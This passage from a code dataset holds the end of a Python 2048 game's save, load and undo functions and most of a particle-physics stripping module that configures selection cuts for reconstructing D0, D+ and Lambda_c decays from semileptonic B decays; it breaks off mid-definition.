4)]\n\n main()\n\n\ndef isArrow(k):\n return (k == pygame.K_UP or k == pygame.K_DOWN or k == pygame.K_LEFT or k == pygame.K_RIGHT)\n\n\ndef saveGameState():\n f = open(\"savedata\", \"w\")\n\n line1 = \" \".join([str(background[floor(x / 4)][x % 4]) for x in range(0, 4 ** 2)])\n\n f.write(line1 + \"\\n\")\n f.write(str(4) + \"\\n\")\n f.write(str(Score))\n f.close()\n\n\ndef loadGameState():\n global Score\n global background\n\n f = open(\"savedata\", \"r\")\n\n mat = (f.readline()).split(' ', 4 ** 2)\n Score = int(f.readline())\n\n for i in range(0, 4 ** 2):\n background[floor(i / 4)][i % 4] = int(mat[i])\n\n f.close()\n\n main(True)\n\n\ndef convertToLinearground():\n mat = []\n\n for i in range(0, 4 ** 2):\n mat.append(background[floor(i / 4)][i % 4])\n\n mat.append(Score)\n\n return mat\n\n\ndef addToUndo():\n undoMat.append(convertToLinearground())\n\n\ndef undo():\n if len(undoMat) > 0:\n mat = undoMat.pop()\n\n for i in range(0, 4 ** 2):\n background[floor(i / 4)][i % 4] = mat[i]\n\n global Score\n Score = mat[4 ** 2]\n\n printground()\n\n\nmain()","sub_path":"2048(3).py","file_name":"2048(3).py","file_ext":"py","file_size_in_byte":10972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"169410264","text":"\"\"\"\nModule for selecting charm decays from semileptonic B decays.\nFollowing decays are included:\n* D0->KsHH (also Dstar)\n* D0->Pi0HH (also Dstar)\n* D0->hhhh (also Dstar)\n* D0->KsKs (also Dstar)\n* D+->KsH\n* D+->HMuNu\n* Lc+ -> L0 H\n* Lc+ -> p HH\nHeavily based on StrippingB2DMuNuX by Alessandra Borgia and Liming Zhang\nDstar methods closely copied from StrippingDstarD2KShh.py by Mat Charles.\n\"\"\"\n__author__ = ['Mika Vesterinen']\n__date__ = '08/03/2012'\n__version__ = '$Revision: 0.6 $'\n\nfrom Gaudi.Configuration import *\n#from GaudiConfUtils.ConfigurableGenerators import FilterDesktop, CombineParticles, OfflineVertexFitter\nfrom Configurables import FilterDesktop, CombineParticles, OfflineVertexFitter\nfrom PhysSelPython.Wrappers import Selection, DataOnDemand\nfrom StrippingConf.StrippingLine import StrippingLine\nfrom StrippingUtils.Utils import LineBuilder\nfrom StandardParticles import StdLoosePions, StdLooseMuons, StdLooseKaons, StdLooseProtons, StdNoPIDsPions, StdLooseMergedPi0,StdLooseResolvedPi0\nfrom Configurables import ConjugateNeutralPID\n\n__all__ = ('CharmFromBSemiAllLinesConf',\n 'makeb2DMuX',\n 'makeb2DX',\n 'makeDstar',\n 'TOSFilter',\n 'confdict')\n\nconfdict = {\n \"GEC_nLongTrk\" : 250 # adimensional\n ,\"MINIPCHI2\" : 9.0 # adimensiional\n ,\"TRCHI2\" : 4.0 # adimensiional\n ,\"TRCHI2Loose\" : 5.0 # adimensiional \n ,\"KaonPIDK\" : 4.0 # adimensiional\n ,\"PionPIDK\" : 10.0 # adimensiional\n ,\"PionPIDKTight\" : 4.0 # adimensiional\n ,\"MuonIPCHI2\" : 4.00 # adimensiional\n ,\"MuonPT\" : 800.0 # MeV\n ,\"KPiPT\" : 300.0 # MeV\n ,\"DsDIRA\" : 0.99 # adimensiional\n ,\"DsFDCHI2\" : 100.0 # adimensiional\n ,\"DsMassWin\" : 80.0 # MeV\n ,\"DsAMassWin\" : 100.0 # MeV\n ,\"Dto4h_MassWin\" : 40.0 # MeV\n ,\"Dto4h_AMassWin\": 42.0 # MeV\n ,\"DsIP\" : 7.4 #mm\n ,\"DsVCHI2DOF\" : 6.0 # adimensiional\n ,\"PIDmu\" : -0.0 # adimensiional\n ,\"BDIRA\" : 0.999 #adimensiional\n ,\"BVCHI2DOF\" : 6.0 # adimensiional\n ,\"DZ\" : 0 #mm\n ,\"DDocaChi2Max\" : 20 #adimensiional\n ,\"MINIPCHI2Loose\": 4.0 #adimensiional\n ,\"KaonPIDKloose\" : -5 #adimensiional\n ,\"PhiVCHI2\" :25.0 #adimensiional\n ,\"PhiMassWin\" :50 #adimensiional\n ,'KSLLPMin' : 2000 ## MeV\n ,'KSLLPTMin' : 500 ## MeV\n ,'KSDDPMin' : 3000 ## MeV\n ,'KSDDPTMin' : 800 ## MeV\n ,'KSLLCutMass' : 20 ## MeV\n ,'KSDDCutMass' : 20 ## MeV\n ,'KSLLCutFDChi2' : 100 ## unitless\n ,'KSDDCutFDChi2' : 100 ## unitless\n ,'KSDaugTrackChi2' : 4 ## max chi2/ndf for Ks daughter tracks\n ,'KSVertexChi2' : 6 ## max chi2/ndf for Ks vertex\n ,'KSCutDIRA' : 0.99 ## unitless\n ,'LambdaLLPMin' : 2000 ## MeV\n ,'LambdaLLPTMin' : 500 ## MeV\n ,'LambdaLLCutMass' : 30 ## MeV\n ,'LambdaLLCutFDChi2' : 100 ## unitless\n ,'LambdaDDPMin' : 3000 ## MeV\n ,'LambdaDDPTMin' : 800 ## MeV\n ,'LambdaDDCutMass' : 30 ## MeV\n ,'LambdaDDCutFDChi2' : 100 ## unitless\n ,'LambdaCutDIRA' : 0.99 ## unitless\n ,'LambdaDaugTrackChi2': 4 ## unitless\n ,'LambdaVertexChi2' : 6 ## max chi2/ndf for Lambda0 vertex\n ,\"Pi0PtMin\" : 1200 # Minimum Pt of pi0 (MeV)\n ,\"Pi0PMin\" : 3000 # Minimum P of pi0 (MeV)\n ,\"PhotonCL\" : 0.25 # Confidence level for Pi0 photons\n ,\"D02HHPi0AMassWin\" : 220 # MeV (mass window for combination)\n ,\"D02HHPi0MassWin\" : 200 # MeV (mass window after vertex fit)\n ,\"D02HHPi0DocaCut\" : 6 # mm\n ,\"D02HHPi0PtCut\" : 2000 # MeV\n ,\"Dstar_preFitMassCut\" : 100 # MeV\n ,\"Dstar_preFitMassCut_HHPi0\" : 200 # MeV\n ,\"Dstar_Chi2\" : 10.0 ## unitless\n ,\"Dstar_SoftPion_PIDe\" : 5. ## unitless\n ,\"Dstar_SoftPion_PT\" : 200. ## MeV\n ,\"Dstar_wideDMCutLower\" : -2. ## MeV\n ,\"Dstar_wideDMCutUpper\" : 15. ## MeV\n }\n\nclass CharmFromBSemiAllLinesConf(LineBuilder) :\n \n __configuration_keys__ = (\n \"GEC_nLongTrk\"\n ,\"MINIPCHI2\" \n ,\"TRCHI2\" \n ,\"TRCHI2Loose\" \n ,\"KaonPIDK\" \n ,\"PionPIDK\"\n ,\"PionPIDKTight\" \n ,\"MuonIPCHI2\" \n ,\"MuonPT\" \n ,\"KPiPT\" \n ,\"DsDIRA\" \n ,\"DsFDCHI2\" \n ,\"DsMassWin\" \n ,\"DsAMassWin\" \n ,\"Dto4h_MassWin\" \n ,\"Dto4h_AMassWin\" \n ,\"DsIP\" \n ,\"DsVCHI2DOF\" \n ,\"PIDmu\" \n ,\"BDIRA\" \n ,\"BVCHI2DOF\" \n ,\"DZ\"\n ,\"DDocaChi2Max\"\n ,\"MINIPCHI2Loose\"\n ,\"KaonPIDKloose\"\n ,\"PhiVCHI2\"\n ,\"PhiMassWin\"\n ,'KSLLPMin' \n ,'KSLLPTMin' \n ,'KSDDPMin' \n ,'KSDDPTMin' \n ,'KSLLCutMass' \n ,'KSDDCutMass' \n ,'KSLLCutFDChi2'\n ,'KSDDCutFDChi2' \n ,'KSDaugTrackChi2'\n ,'KSVertexChi2'\n ,'KSCutDIRA'\n ,'LambdaLLPMin' \n ,'LambdaLLPTMin' \n ,'LambdaLLCutMass' \n ,'LambdaLLCutFDChi2' \n ,'LambdaDDPMin' \n ,'LambdaDDPTMin' \n ,'LambdaDDCutMass' \n ,'LambdaDDCutFDChi2' \n ,'LambdaCutDIRA' \n ,'LambdaDaugTrackChi2'\n ,'LambdaVertexChi2' \n ,\"Pi0PtMin\" \n ,\"Pi0PMin\" \n ,\"PhotonCL\"\n ,\"D02HHPi0AMassWin\"\n ,\"D02HHPi0MassWin\"\n ,\"D02HHPi0PtCut\"\n ,\"D02HHPi0DocaCut\"\n ,\"Dstar_preFitMassCut\"\n ,\"Dstar_preFitMassCut_HHPi0\"\n ,\"Dstar_Chi2\"\n ,\"Dstar_SoftPion_PIDe\"\n ,\"Dstar_SoftPion_PT\"\n ,\"Dstar_wideDMCutLower\"\n ,\"Dstar_wideDMCutUpper\"\n )\n \n __confdict__={}\n \n def __init__(self, name, config) :\n\n LineBuilder.__init__(self, name, config)\n self.__confdict__=config\n \n ############### MUON SELECTIONS ###################\n \n self.selmuon = Selection( \"SelMufor\" + name,\n Algorithm = self._muonFilter(\"Mufor\"+name),\n RequiredSelections = [StdLooseMuons])\n \n self.selmuonhighPT = Selection( \"SelMuhighPTfor\" + name,\n Algorithm = FilterDesktop(name = \"MuhighPTfor\"+name,\n Code = \"(TRCHI2DOF < %(TRCHI2)s)\"\\\n \"& (PT>1.2*GeV) & (MIPCHI2DV(PRIMARY)> 9.0)\" % self.__confdict__ ),\n RequiredSelections = [self.selmuon])\n \n self.selmuontight = Selection( \"SelMutightfor\" + name,\n Algorithm = FilterDesktop( name = \"Mutightfor\"+name,\n Code = \"(MIPCHI2DV(PRIMARY)> 100)\" ),\n RequiredSelections = [self.selmuonhighPT])\n \n self.selmuonnew = Selection( \"SelMunewfor\" + name,\n Algorithm = FilterDesktop( name = \"Munewfor\"+name,\n Code = \"(MIPCHI2DV(PRIMARY)> 9.0)\"\\\n \"& (TRCHI2DOF < %(TRCHI2)s)\" % self.__confdict__ ),\n RequiredSelections = [self.selmuon])\n \n self.selmuonTOS = TOSFilter( \"SelMuTOS\" + name,\n self.selmuontight,\n \"Hlt2SingleMuonDecision\")\n \n ############### KAON AND PION SELECTIONS ################\n \n self.selKaon = Selection( \"SelKfor\" + name,\n Algorithm = self._kaonFilter(\"Kfor\"+name),\n RequiredSelections = [StdLooseKaons])\n \n self.selPion = Selection( \"SelPifor\" + name,\n Algorithm = self._pionFilter(\"Pifor\"+name),\n RequiredSelections = [StdLoosePions])\n \n self.selPionTight = Selection( \"SelPiTightfor\" + name,\n Algorithm = FilterDesktop( name = \"PiTightFor\"+name,\n Code = \"(TRCHI2DOF < %(TRCHI2)s) & (P>2.0*GeV) & (PT > %(KPiPT)s *MeV)\"\\\n \"& (MIPCHI2DV(PRIMARY)> %(MINIPCHI2)s) & (PIDK< %(PionPIDKTight)s)\" % self.__confdict__ ),\n RequiredSelections = [StdLoosePions])\n \n self.selPionloose = Selection( \"SelPiloosefor\" + name,\n Algorithm = self._pionlooseFilter(\"Piloosefor\"+name),\n RequiredSelections = [StdNoPIDsPions])\n \n self.selKaonloose = Selection( \"SelKloosefor\" + name,\n Algorithm = self._kaonlooseFilter(\"Kloosefor\"+name),\n RequiredSelections = [StdLooseKaons])\n \n ############## PI0 SELECTIONS ############################\n \n self.selPi0Resolved = Selection( \"SelPi0Resolvedfor\" + name,\n Algorithm = self._Pi0ResolvedFilter(\"Pi0Resolvedfor\"+name),\n RequiredSelections = [StdLooseResolvedPi0])\n \n self.selPi0Merged = Selection( \"SelPi0Mergedfor\" + name,\n Algorithm = self._Pi0MergedFilter(\"PiMergedfor\"+name),\n RequiredSelections = [StdLooseMergedPi0])\n\n ############## KS0 SELECTIONS ##############################\n \n _stdLooseKsLL = DataOnDemand(\"Phys/StdLooseKsLL/Particles\")\n _stdLooseKsDD = DataOnDemand(\"Phys/StdLooseKsDD/Particles\")\n \n self.selKSLL = Selection(\"SelKsLLfor\"+name,\n Algorithm = self._KsLLFilter(\"KsLLfor\"+name),\n RequiredSelections = [_stdLooseKsLL])\n\n self.selKSDD = Selection(\"SelKsDDfor\"+name,\n Algorithm = self._KsDDFilter(\"KsDDfor\"+name),\n RequiredSelections = [_stdLooseKsDD])\n\n ############# LAMBDA0 SELECTIONS ##########################\n \n _stdLooseLambdaLL = DataOnDemand(\"Phys/StdLooseLambdaLL/Particles\")\n _stdLooseLambdaDD = DataOnDemand(\"Phys/StdLooseLambdaDD/Particles\")\n\n self.selLambdaLL = Selection(\"SelLambdaLLfor\"+name,\n Algorithm = self._LambdaLLFilter(\"LambdaLLfor\"+name),\n RequiredSelections = [_stdLooseLambdaLL])\n\n self.selLambdaDD = Selection(\"SelLambdaDDfor\"+name,\n Algorithm = self._LambdaDDFilter(\"LambdaDDfor\"+name),\n RequiredSelections = [_stdLooseLambdaDD])\n\n ################ D0 -> KsKs SELECTION #############################\n \n Dstar_cuts = {\n \"Dstar_preFitMassCut\" : config[\"Dstar_preFitMassCut\"],\n \"Dstar_Chi2\" : config[\"Dstar_Chi2\"],\n \"Dstar_SoftPion_PIDe\" : config[\"Dstar_SoftPion_PIDe\"],\n \"Dstar_SoftPion_PT\" : config[\"Dstar_SoftPion_PT\"],\n \"Dstar_wideDMCutLower\" : config[\"Dstar_wideDMCutLower\"],\n \"Dstar_wideDMCutUpper\" : config[\"Dstar_wideDMCutUpper\"],\n }\n\n self.sel_D0_to_KsKs_LLLL = Selection('SelD02KsKsLLLLfor'+name,\n Algorithm = self._D02KsKsFilter(['D0 -> KS0 KS0'],'D02KsKsLLLLfor'+name),\n RequiredSelections = [self.selKSLL])\n self.selD0Conj_KsKs_LLLL = Selection('SelConjugate_KsKs_LLLLFor'+name,\n Algorithm = ConjugateNeutralPID('Conjugate_KsKs_LLLLFor'+name),\n RequiredSelections = [self.sel_D0_to_KsKs_LLLL])\n self.sel_Dstar_to_KsKs_LLLL = makeDstar('Dstar_KsKs_LLLLFor'+name, [self.sel_D0_to_KsKs_LLLL , self.selD0Conj_KsKs_LLLL],Dstar_cuts)\n \n self.sel_D0_to_KsKs_DDDD = Selection('SelD02KsKsDDDDfor'+name,\n Algorithm = self._D02KsKsFilter(['D0 -> KS0 KS0'],'D02KsKsDDDDfor'+name),\n RequiredSelections = [self.selKSDD])\n self.selD0Conj_KsKs_DDDD = Selection('SelConjugate_KsKs_DDDDFor'+name,\n Algorithm = ConjugateNeutralPID('Conjugate_KsKs_DDDDFor'+name),\n RequiredSelections = [self.sel_D0_to_KsKs_DDDD])\n self.sel_Dstar_to_KsKs_DDDD = makeDstar('Dstar_KsKs_DDDDFor'+name, [self.sel_D0_to_KsKs_DDDD , self.selD0Conj_KsKs_DDDD],Dstar_cuts)\n\n self.sel_D0_to_KsKs_DDLL = Selection('SelD02KsKsDDLLfor'+name,\n Algorithm = self._D02KsKsFilter(['D0 -> KS0 KS0'],'D02KsKsDDLLfor'+name),\n RequiredSelections = [self.selKSLL,self.selKSDD])\n self.selD0Conj_KsKs_DDLL = Selection('SelConjugate_KsKs_DDLLFor'+name,\n Algorithm = ConjugateNeutralPID('Conjugate_KsKs_DDLLFor'+name),\n RequiredSelections = [self.sel_D0_to_KsKs_DDLL])\n self.sel_Dstar_to_KsKs_DDLL = makeDstar('Dstar_KsKs_DDLLFor'+name, [self.sel_D0_to_KsKs_DDLL , self.selD0Conj_KsKs_DDLL],Dstar_cuts)\n\n ################ D0 -> 4H SELECTION ##########################\n\n Dstar_cuts = {\n \"Dstar_preFitMassCut\" : config[\"Dstar_preFitMassCut\"],\n \"Dstar_Chi2\" : config[\"Dstar_Chi2\"],\n \"Dstar_SoftPion_PIDe\" : config[\"Dstar_SoftPion_PIDe\"],\n \"Dstar_SoftPion_PT\" : config[\"Dstar_SoftPion_PT\"],\n \"Dstar_wideDMCutLower\" : config[\"Dstar_wideDMCutLower\"],\n \"Dstar_wideDMCutUpper\" : config[\"Dstar_wideDMCutUpper\"],\n }\n\n self.sel_D0_to_4Pi = Selection( 'Sel_D0_to_4Pi_for' + name,\n Algorithm = self._D02HHHHFilter(['D0 -> pi- pi+ pi- pi+'],'D0_to_4Pi_for' + name),\n RequiredSelections = [self.selPionTight] ) \n self.selD0Conj_4Pi = Selection('SelConjugate_4PiFor'+name,\n Algorithm = ConjugateNeutralPID('Conjugate_4PiFor'+name),\n RequiredSelections = [self.sel_D0_to_4Pi])\n self.selDstar_to_4Pi = makeDstar('Dstar_4PiFor'+name, [self.sel_D0_to_4Pi , self.selD0Conj_4Pi],Dstar_cuts)\n\n\n self.sel_D0_to_K3Pi = Selection( 'Sel_D0_to_K3Pi_for' + name,\n Algorithm = self._D02HHHHFilter(['[D0 -> K- pi+ pi- pi+]cc'],'D0_to_K3Pi_for' + name),\n RequiredSelections = [self.selPionTight,self.selKaon] ) \n self.selD0Conj_K3Pi = Selection('SelConjugate_K3PiFor'+name,\n Algorithm = ConjugateNeutralPID('Conjugate_K3PiFor'+name),\n RequiredSelections = [self.sel_D0_to_K3Pi])\n self.selDstar_to_K3Pi = makeDstar('Dstar_K3PiFor'+name, [self.sel_D0_to_K3Pi , self.selD0Conj_K3Pi],Dstar_cuts)\n\n\n self.sel_D0_to_2K2Pi = Selection( 'Sel_D0_to_2K2Pi_for' + name,\n Algorithm = self._D02HHHHFilter(['D0 -> K- K+ pi- pi+'],'D0_to_2K2Pi_for' + name),\n RequiredSelections = [self.selPionTight,self.selKaon] ) \n self.selD0Conj_2K2Pi = Selection('SelConjugate_2K2PiFor'+name,\n Algorithm = ConjugateNeutralPID('Conjugate_2K2PiFor'+name),\n RequiredSelections = [self.sel_D0_to_2K2Pi])\n self.selDstar_to_2K2Pi = makeDstar('Dstar_2K2PiFor'+name, [self.sel_D0_to_2K2Pi , self.selD0Conj_2K2Pi],Dstar_cuts)\n \n\n self.sel_D0_to_3KPi = Selection( 'Sel_D0_to_3KPi_for' + name,\n Algorithm = self._D02HHHHFilter(['[D0 -> K+ K- K- pi+]cc'],'D0_to_3KPi_for' + name),\n RequiredSelections = [self.selPionTight,self.selKaon] ) \n self.selD0Conj_3KPi = Selection('SelConjugate_3KPiFor'+name,\n Algorithm = ConjugateNeutralPID('Conjugate_3KPiFor'+name),\n RequiredSelections = [self.sel_D0_to_3KPi])\n self.selDstar_to_3KPi = makeDstar('Dstar_3KPiFor'+name, [self.sel_D0_to_3KPi , self.selD0Conj_3KPi],Dstar_cuts)\n \n ################## D0 -> Ks HH SELECTIONS ##############################\n\n Dstar_cuts = {\n \"Dstar_preFitMassCut\" : config[\"Dstar_preFitMassCut\"],\n \"Dstar_Chi2\" : config[\"Dstar_Chi2\"],\n \"Dstar_SoftPion_PIDe\" : config[\"Dstar_SoftPion_PIDe\"],\n \"Dstar_SoftPion_PT\" : config[\"Dstar_SoftPion_PT\"],\n \"Dstar_wideDMCutLower\" : config[\"Dstar_wideDMCutLower\"],\n \"Dstar_wideDMCutUpper\" : config[\"Dstar_wideDMCutUpper\"],\n }\n\n ### ks Pi Pi \n self.seld02KsPiPiLL = Selection( 'SelD02KsPiPiLLfor' + name,\n Algorithm = self._D02KsHHFilter(['D0 -> KS0 pi+ pi-'],'D02KsPiPiLLfor' + name),\n RequiredSelections = [self.selKSLL,self.selPionloose] ) \n self.selD0Conj2KsPiPiLL = Selection('SelConjugateD02KsPiPiLLFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugateD02KsPiPiLLFor'+name),\n RequiredSelections = [self.seld02KsPiPiLL])\n self.selDstar_2KsPiPiLL = makeDstar('DstarPiPiLLFor'+name, [self.seld02KsPiPiLL , self.selD0Conj2KsPiPiLL],Dstar_cuts)\n\n self.seld02KsPiPiDD = Selection( 'SelD02KsPiPiDDfor' + name,\n Algorithm = self._D02KsHHFilter(['D0 -> KS0 pi+ pi-'],'D02KsPiPiDDfor' + name),\n RequiredSelections = [self.selKSDD,self.selPionloose] ) \n self.selD0Conj2KsPiPiDD = Selection('SelConjugateD02KsPiPiDDFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugateD02KsPiPiDDFor'+name),\n RequiredSelections = [self.seld02KsPiPiDD])\n self.selDstar_2KsPiPiDD = makeDstar('DstarPiPiDDFor'+name, [self.seld02KsPiPiDD , self.selD0Conj2KsPiPiDD],Dstar_cuts)\n\n ### ks K K \n self.seld02KsKKLL = Selection( 'SelD02KsKKLLfor' + name,\n Algorithm = self._D02KsHHFilter(['D0 -> KS0 K+ K-'],'D02KsKKLLfor' + name),\n RequiredSelections = [self.selKSLL,self.selKaonloose] ) \n self.selD0Conj2KsKKLL = Selection('SelConjugateD02KsKKLLFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugateD02KsKKLLFor'+name),\n RequiredSelections = [self.seld02KsKKLL])\n self.selDstar_2KsKKLL = makeDstar('DstarKKLLFor'+name, [self.seld02KsKKLL , self.selD0Conj2KsKKLL],Dstar_cuts)\n\n self.seld02KsKKDD = Selection( 'SelD02KsKKDDfor' + name,\n Algorithm = self._D02KsHHFilter(['D0 -> KS0 K+ K-'],'D02KsKKDDfor' + name),\n RequiredSelections = [self.selKSDD,self.selKaonloose] ) \n self.selD0Conj2KsKKDD = Selection('SelConjugateD02KsKKDDFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugateD02KsKKDDFor'+name),\n RequiredSelections = [self.seld02KsKKDD])\n self.selDstar_2KsKKDD = makeDstar('DstarKKDDFor'+name, [self.seld02KsKKDD , self.selD0Conj2KsKKDD],Dstar_cuts)\n\n ### ks K Pi \n self.seld02KsKPiLL = Selection( 'SelD02KsKPiLLfor' + name,\n Algorithm = self._D02KsHHFilter(['[D0 -> KS0 K- pi+]cc'],'D02KsKPiLLfor' + name),\n RequiredSelections = [self.selKSLL,self.selPionloose,self.selKaonloose] ) \n self.selD0Conj2KsKPiLL = Selection('SelConjugateD02KsKPiLLFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugateD02KsKPiLLFor'+name),\n RequiredSelections = [self.seld02KsKPiLL])\n self.selDstar_2KsKPiLL = makeDstar('DstarKPiLLFor'+name, [self.seld02KsKPiLL , self.selD0Conj2KsKPiLL],Dstar_cuts)\n \n self.seld02KsKPiDD = Selection( 'SelD02KsKPiDDfor' + name,\n Algorithm = self._D02KsHHFilter(['[D0 -> KS0 K- pi+]cc'],'D02KsKPiDDfor' + name),\n RequiredSelections = [self.selKSDD,self.selPionloose,self.selKaonloose] ) \n self.selD0Conj2KsKPiDD = Selection('SelConjugateD02KsKPiDDFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugateD02KsKPiDDFor'+name),\n RequiredSelections = [self.seld02KsKPiDD])\n self.selDstar_2KsKPiDD = makeDstar('DstarKPiDDFor'+name, [self.seld02KsKPiDD , self.selD0Conj2KsKPiDD],Dstar_cuts)\n\n ################## D0 -> HHPi0 WITH MERGED PI0 #######################\n\n Dstar_cuts = {\n ## wider mass window than other channels\n \"Dstar_preFitMassCut\" : config[\"Dstar_preFitMassCut_HHPi0\"],\n \"Dstar_Chi2\" : config[\"Dstar_Chi2\"],\n \"Dstar_SoftPion_PIDe\" : config[\"Dstar_SoftPion_PIDe\"],\n \"Dstar_SoftPion_PT\" : config[\"Dstar_SoftPion_PT\"],\n \"Dstar_wideDMCutLower\" : config[\"Dstar_wideDMCutLower\"],\n \"Dstar_wideDMCutUpper\" : config[\"Dstar_wideDMCutUpper\"],\n }\n\n self.seld02KPiPi0Merged = Selection( 'SelD02KPiPi0Mergedfor' + name,\n Algorithm = self._D02HHPi0Filter(['[D0 -> K- pi+ pi0]cc'],'D02KPiPi0Mergedfor' + name),\n RequiredSelections = [self.selKaon,self.selPionTight,self.selPi0Merged])\n self.selD0Conj2KPiPi0Merged = Selection('SelConjugateKPiPi0MergedFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugateKPiPi0MergedFor'+name),\n RequiredSelections = [self.seld02KPiPi0Merged])\n self.selDstar_2KPiPi0Merged = makeDstar('DstarKPiPi0MergedFor'+name, [self.seld02KPiPi0Merged , self.selD0Conj2KPiPi0Merged],Dstar_cuts)\n\n self.seld02KKPi0Merged = Selection( 'SelD02KKPi0Mergedfor' + name,\n Algorithm = self._D02HHPi0Filter(['D0 -> K- K+ pi0'],'D02KKPi0Mergedfor' + name),\n RequiredSelections = [self.selKaon,self.selPi0Merged])\n self.selD0Conj2KKPi0Merged = Selection('SelConjugateKKPi0MergedFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugateKKPi0MergedFor'+name),\n RequiredSelections = [self.seld02KKPi0Merged])\n self.selDstar_2KKPi0Merged = makeDstar('DstarKKPi0MergedFor'+name, [self.seld02KKPi0Merged , self.selD0Conj2KKPi0Merged],Dstar_cuts)\n \n self.seld02PiPiPi0Merged = Selection( 'SelD02PiPiPi0Mergedfor' + name,\n Algorithm = self._D02HHPi0Filter(['D0 -> pi- pi+ pi0'],'D02PiPiPi0Mergedfor' + name),\n RequiredSelections = [self.selPionTight,self.selPi0Merged])\n self.selD0Conj2PiPiPi0Merged = Selection('SelConjugatePiPiPi0MergedFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugatePiPiPi0MergedFor'+name),\n RequiredSelections = [self.seld02PiPiPi0Merged])\n self.selDstar_2PiPiPi0Merged = makeDstar('DstarPiPiPi0MergedFor'+name, [self.seld02PiPiPi0Merged , self.selD0Conj2PiPiPi0Merged],Dstar_cuts)\n\n ################## D0 -> HHPi0 WITH RESOLVED PI0 #######################\n\n Dstar_cuts = {\n \"Dstar_preFitMassCut\" : config[\"Dstar_preFitMassCut\"],\n \"Dstar_Chi2\" : config[\"Dstar_Chi2\"],\n \"Dstar_SoftPion_PIDe\" : config[\"Dstar_SoftPion_PIDe\"],\n \"Dstar_SoftPion_PT\" : config[\"Dstar_SoftPion_PT\"],\n \"Dstar_wideDMCutLower\" : config[\"Dstar_wideDMCutLower\"],\n \"Dstar_wideDMCutUpper\" : config[\"Dstar_wideDMCutUpper\"],\n }\n \n self.seld02KPiPi0Resolved = Selection( \"SelD02KPiPi0Resolvedfor\" + name,\n Algorithm = self._D02HHPi0Filter([\"[D0 -> K- pi+ pi0]cc\"],\"D02KPiPi0Resolvedfor\"+name),\n RequiredSelections = [self.selKaon,self.selPionTight,self.selPi0Resolved])\n self.selD0Conj2KPiPi0Resolved = Selection('SelConjugateKPiPi0ResolvedFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugateKPiPi0ResolvedFor'+name),\n RequiredSelections = [self.seld02KPiPi0Resolved])\n self.selDstar_2KPiPi0Resolved = makeDstar('DstarKPiPi0ResolvedFor'+name, [self.seld02KPiPi0Resolved , self.selD0Conj2KPiPi0Resolved],Dstar_cuts)\n \n\n self.seld02KKPi0Resolved = Selection( 'SelD02KKPi0Resolvedfor' + name,\n Algorithm = self._D02HHPi0Filter(['D0 -> K- K+ pi0'],'D02KKPi0Resolvedfor' + name),\n RequiredSelections = [self.selKaon,self.selPi0Resolved])\n self.selD0Conj2KKPi0Resolved = Selection('SelConjugateKKPi0ResolvedFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugateKKPi0ResolvedFor'+name),\n RequiredSelections = [self.seld02KKPi0Resolved])\n self.selDstar_2KKPi0Resolved = makeDstar('DstarKKPi0ResolvedFor'+name, [self.seld02KKPi0Resolved , self.selD0Conj2KKPi0Resolved],Dstar_cuts)\n\n self.seld02KKPi0SSResolved = Selection( 'SelD02KKPi0SSResolvedfor' + name,\n Algorithm = self._D02HHPi0Filter(['[D0 -> K+ K+ pi0]cc'],'D02KKPi0SSResolvedfor' + name),\n RequiredSelections = [self.selKaon,self.selPi0Resolved])\n self.selD0Conj2KKPi0SSResolved = Selection('SelConjugateKKPi0SSResolvedFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugateKKPi0SSResolvedFor'+name),\n RequiredSelections = [self.seld02KKPi0SSResolved])\n self.selDstar_2KKPi0SSResolved = makeDstar('DstarKKPi0SSResolvedFor'+name, [self.seld02KKPi0SSResolved , self.selD0Conj2KKPi0SSResolved],Dstar_cuts)\n \n self.seld02PiPiPi0Resolved = Selection( 'SelD02PiPiPi0Resolvedfor' + name,\n Algorithm = self._D02HHPi0Filter(['D0 -> pi- pi+ pi0'],'D02PiPiPi0Resolvedfor' + name),\n RequiredSelections = [self.selPionTight,self.selPi0Resolved])\n self.selD0Conj2PiPiPi0Resolved = Selection('SelConjugatePiPiPi0ResolvedFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugatePiPiPi0ResolvedFor'+name),\n RequiredSelections = [self.seld02PiPiPi0Resolved])\n self.selDstar_2PiPiPi0Resolved = makeDstar('DstarPiPiPi0ResolvedFor'+name, [self.seld02PiPiPi0Resolved , self.selD0Conj2PiPiPi0Resolved],Dstar_cuts)\n\n self.seld02PiPiPi0SSResolved = Selection('SelD02PiPiPi0SSResolvedfor' + name,\n Algorithm = self._D02HHPi0Filter(['[D0 -> pi+ pi+ pi0]cc'],'D02PiPiPi0SSResolvedfor' + name),\n RequiredSelections = [self.selPionTight,self.selPi0Resolved])\n self.selD0Conj2PiPiPi0SSResolved = Selection('SelConjugatePiPiPi0SSResolvedFor'+name,\n Algorithm = ConjugateNeutralPID('ConjugatePiPiPi0SSResolvedFor'+name),\n RequiredSelections = [self.seld02PiPiPi0SSResolved])\n self.selDstar_2PiPiPi0SSResolved = makeDstar('DstarPiPiPi0SSResolvedFor'+name, [self.seld02PiPiPi0SSResolved , self.selD0Conj2PiPiPi0SSResolved],Dstar_cuts)\n \n ################### D+/Ds+ -> Ks H SELECTIONS ######################\n\n self.selds2KsLLK = Selection( 'SelDs2KsLLKfor' + name,\n Algorithm = self._Ds2KsHFilter(['[D+ -> KS0 K+]cc'],'Ds2KsLLKfor' + name),\n RequiredSelections = [self.selKaon, self.selKSLL] )\n\n self.selds2KsDDK = Selection( 'SelDs2KsDDKfor' + name,\n Algorithm = self._Ds2KsHFilter(['[D+ -> KS0 K+]cc'],'Ds2KsDDKfor' + name),\n RequiredSelections = [self.selKaon, self.selKSDD] )\n\n self.selds2KsLLPi = Selection( 'SelDs2KsLLPifor' + name,\n Algorithm = self._Ds2KsHFilter(['[D+ -> KS0 pi+]cc'],'Ds2KsLLPifor' + name),\n RequiredSelections = [self.selPion, self.selKSLL] )\n \n self.selds2KsDDPi = Selection( 